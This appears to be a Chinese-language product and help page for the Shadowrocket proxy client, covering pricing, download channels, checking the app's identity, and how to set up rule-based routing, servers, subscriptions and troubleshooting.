iPhone / iPad
App Store $2.99 一次性。两种设备共用购买;系统要求以 App Store 页面标注为准。先核对应用身份,再按本人的购买账号获取或恢复。
全平台规则代理客户端,支持规则分流与多协议。iPhone / iPad 在 App Store $2.99 一次性购买;Mac、Windows、安卓、Linux 版免费。
当前版本 2.2.92 · iPhone / iPad $2.99 一次性;Mac、Windows、安卓、Linux 版免费
首次使用:查看连接步骤 →
设置入口 / 使用边界
先区分服务器、订阅与配置文件,再调整连接行为。以下界面词保留英文原文;具体入口可能随设备界面变化,详细步骤见对应设置章节。
在 Home 查看 Global Routing。Config 按当前配置的规则分流,Proxy 将适用流量交给所选代理,Direct 使用直连。日常按规则使用时先选 Config,再确认启用的配置文件与服务器。规则从上到下匹配,命中后采用对应策略;更具体的域名条件应放在宽泛条件前,FINAL 留在末尾承接未命中的请求。改变模式会改变请求路径,不能用切换模式代替核对服务器参数。
→ 查看设置说明DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,PROXY
示例规则用于解释语法,不是完整配置。
On Demand 用于按网络条件触发连接,适合已经完成手动连接验证之后再配置。先在 Settings 查看 On Demand 的条件,逐项确认 Wi-Fi 与蜂窝网络的预期行为,再切换网络检查触发结果。它管理的是连接时机,不负责补齐订阅或修正失效的服务器。若关闭主开关后连接又出现,应同时检查按需条件与系统中的 VPN 设置,避免只反复操作 Home 开关而忽略了自动触发来源。
→ 查看设置说明Settings
On Demand
Wi-Fi
Add Server 中的 Type 必须与用户已有的服务器配置一致。Shadowsocks、VMess、VLESS、Trojan 等类型使用的认证字段并不相同,不能只复制 Host 与 Port 就认为配置完成。录入时核对 Password、Method 以及服务端要求的传输和 TLS 参数,保留原始大小写与路径。协议名称本身不代表固定的速度或耗电表现;先确认参数匹配,再依据网络条件与服务端能力理解连接差异。
→ 查看设置说明ShadowsocksVMessVLESSTrojanHTTPSOCKS5WireGuardHysteria2已有订阅链接时,在相应的 Subscribe 入口粘贴完整地址并保存,再执行更新,确认服务器列表已经生成。只有单个服务器信息时可用 Add Server;二维码与剪贴板导入则应先确认内容格式。订阅用于管理服务器条目,不等于决定分流的配置文件。更新失败先检查地址是否被截断、当前网络能否访问以及返回内容是否仍为有效格式,不要通过反复新建同一订阅来代替排查。
→ 查看设置说明Subscribe
Add Server
Scan QR Code
Import from Cloud JSON
Config 管理分流规则和其他配置内容,文件已下载与当前已启用是两个状态。编辑之前先保留原文件,再检查 General、Rule 等分段以及规则引用的策略名称。保存后回到列表确认选中的文件,并让 Global Routing 使用 Config,才能按该文件分流。使用 iCloud 同步时也应分别核对每台设备的文件与选中状态;同步文件不代表服务器仍可连接,也不能替代本机的连接验证。
→ 查看设置说明[General]
[Rule]
DOMAIN,api.example.com,PROXY
FINAL,DIRECT
连接异常时先用 Connectivity Test 判断服务器连通性,再结合 Settings 中的 Diagnostics 与实际请求结果定位问题。Data 的流量统计可以辅助观察是否产生了传输,但数值增长不等于目标页面一定可用。延迟测试通过也不代表认证、DNS 与规则全部正确。应按网络、服务器参数、系统时间、当前规则的顺序逐项检查;每次只调整一项,并记录变化,避免同时改动多个设置后无法判断原因。
→ 查看设置说明Connectivity Test
Settings / Diagnostics
Data
服务器决定连接目标,规则决定请求路径。订阅列表更新后出现新的服务器,不会自动说明某条域名规则已改变。排查时把这两层分开:先确认当前选中的服务器可以连接,再确认请求命中的规则与策略。需要了解字段含义时查阅协议参考,需要照着界面操作时查阅使用教程。
查看协议参考 →设备 / 获取渠道
2 档获取:iPhone / iPad 在 App Store $2.99 一次性购买;Mac、Windows、安卓、Linux 版免费。电脑与安卓安装包由本站下载页提供,地址位于本站 /dl/shadowrocket/ 下。
App Store $2.99 一次性。两种设备共用购买;系统要求以 App Store 页面标注为准。先核对应用身份,再按本人的购买账号获取或恢复。
免费 · Apple 芯片 / Intel。在“关于本机”确认芯片类型,再选择对应安装包。首次打开的系统提示应按下载指南逐项处理,不凭设备外观判断架构。
免费。提供 64 位安装程序。下载后先确认文件来自本站,再运行安装;遇到 SmartScreen 提示时,按安装放行章节核对来源与操作路径。
免费 · arm64。从下载页获取安装包。如系统要求允许安装未知应用,只对当前使用的浏览器或文件管理器授予必要权限,完成后可收回该权限。
免费 · deb / rpm / AppImage。按发行版的软件包管理方式选择格式。AppImage 需要执行权限;deb 与 rpm 应交给对应的包管理器处理安装和依赖。
正版 / 购买 / 服务边界
Shadowrocket 是闭源商业应用。获取时核对应用身份、设备平台与下载渠道;使用时区分客户端授权、服务器信息与分流配置。
iPhone / iPad 打开商店产品页后,同时核对名称 Shadowrocket、开发者 Shadow Launch Technology Limited、应用 ID 932747118 与官方图标。搜索结果中的相似名称不能单独作为判断依据,进入产品详情页后再检查信息。应用 ID 可在产品页地址中辨认,名称相同而 ID 不同的条目不是这里指向的应用。
电脑与安卓应从本站下载页进入,由本站 /dl/shadowrocket/ 提供安装包。不要把教程中的规则文本、订阅链接或截图当成安装文件。若系统显示首次运行提示,先回到下载指南确认来源和平台,再按相应系统的放行步骤操作。
App Store 的可见应用与当前购买账号的商店地区有关。中国大陆商店未上架该应用时,先查看本人账号的国家或地区设置,以及商店页面实际显示的可用性,不要把搜索不到直接理解成设备不受支持。账号地区调整应通过系统的官方账号设置办理,并先了解余额、订阅与付款方式的限制。
iPhone / iPad 的系统要求以 App Store 页面标注为准。应用已安装但无法更新时,分别确认系统兼容性、购买账号与商店状态;这些问题与 Home 中选择哪台服务器属于不同环节,修改代理参数通常不能解决购买记录或系统兼容性问题。
查看商店与账号说明 →iPhone / iPad 版在 App Store 美区标价 $2.99,一次性购买,两种设备共用购买记录;其他店面按当地货币显示,以结算页面为准。Mac(Apple 芯片与 Intel)、Windows、安卓、Linux 版免费。购买的是客户端使用授权,而不是某个服务器的连接时长或流量额度。
iPhone / iPad 换机或重装时,使用原购买账号查看已购项目,再重新获取应用。恢复购买记录与恢复配置数据是两件事:应用回到设备上后,还需检查自己的服务器、订阅和当前配置是否齐全。电脑与安卓重新获取时回到本站下载页;覆盖更新前保留需要的配置,更新完成后再核对选中状态。
查看换机与重装说明 →首次连接 / 三步预览
以下以 iPhone / iPad 的界面词说明操作顺序。开始前准备自己的订阅或服务器信息,并确认当前网络本身可以正常访问。
只有单个服务器信息时,在 Home 使用 Add Server,先选 Type,再逐项填写 Host、Port 与对应认证字段。已有订阅则使用 Subscribe 导入完整地址,保存后更新列表。扫码前确认二维码确实承载服务器信息,粘贴前检查是否多出空格、换行或说明文字。
导入成功的标志是能够看到对应服务器条目,而不是只看到一个订阅名称。暂时不要同时导入多套来源相同的内容;先保留一套可辨认的条目,后续更容易判断当前选择与更新结果。
需要按规则分流时使用 Config,并到 Config 列表确认当前启用的文件。Proxy 与 Direct 适合用于理解不同路径或缩小排查范围,不应在不知道当前模式的情况下反复切换。规则使用 PROXY 时,还需选中一台参数正确、状态可用的服务器。
同一个网址在不同模式下表现不同,说明请求路径可能发生变化,并不能立即推断某一种协议有问题。记录当前模式、服务器与配置文件名称,再继续连接测试,可以减少重复操作。
首次启用时按系统提示允许添加 VPN 配置,再回到 Home 确认连接状态。先做 Connectivity Test,再访问自己需要的目标页面;仅看到系统的 VPN 状态,不代表订阅、认证和每条规则都已经正确。测试时保持同一网络环境,避免把网络切换造成的变化误判为设置生效。
若仍无法连接,依次检查基础网络、订阅有效性、协议参数与系统时间。若只有部分目标异常,再查看 DNS 与规则命中;每次修改后重复相同测试,确认结果可以复现。
文档 / 按问题阅读
连接失败先做基础排查,文件疑问查分段说明,订阅问题查更新入口。文章只讲操作与原理,不提供线路服务。
先做延迟测试判断连通,再核对协议参数与加密字段,最后检查系统时间。区分网络不可达、认证失败与规则路径异常,避免同时改动多个设置。
↗按段理解全局行为、规则分流、本地映射与地址改写。修改前保留原文件,修改后检查语法、规则顺序以及当前启用的文件,区分内容保存与配置生效。
↗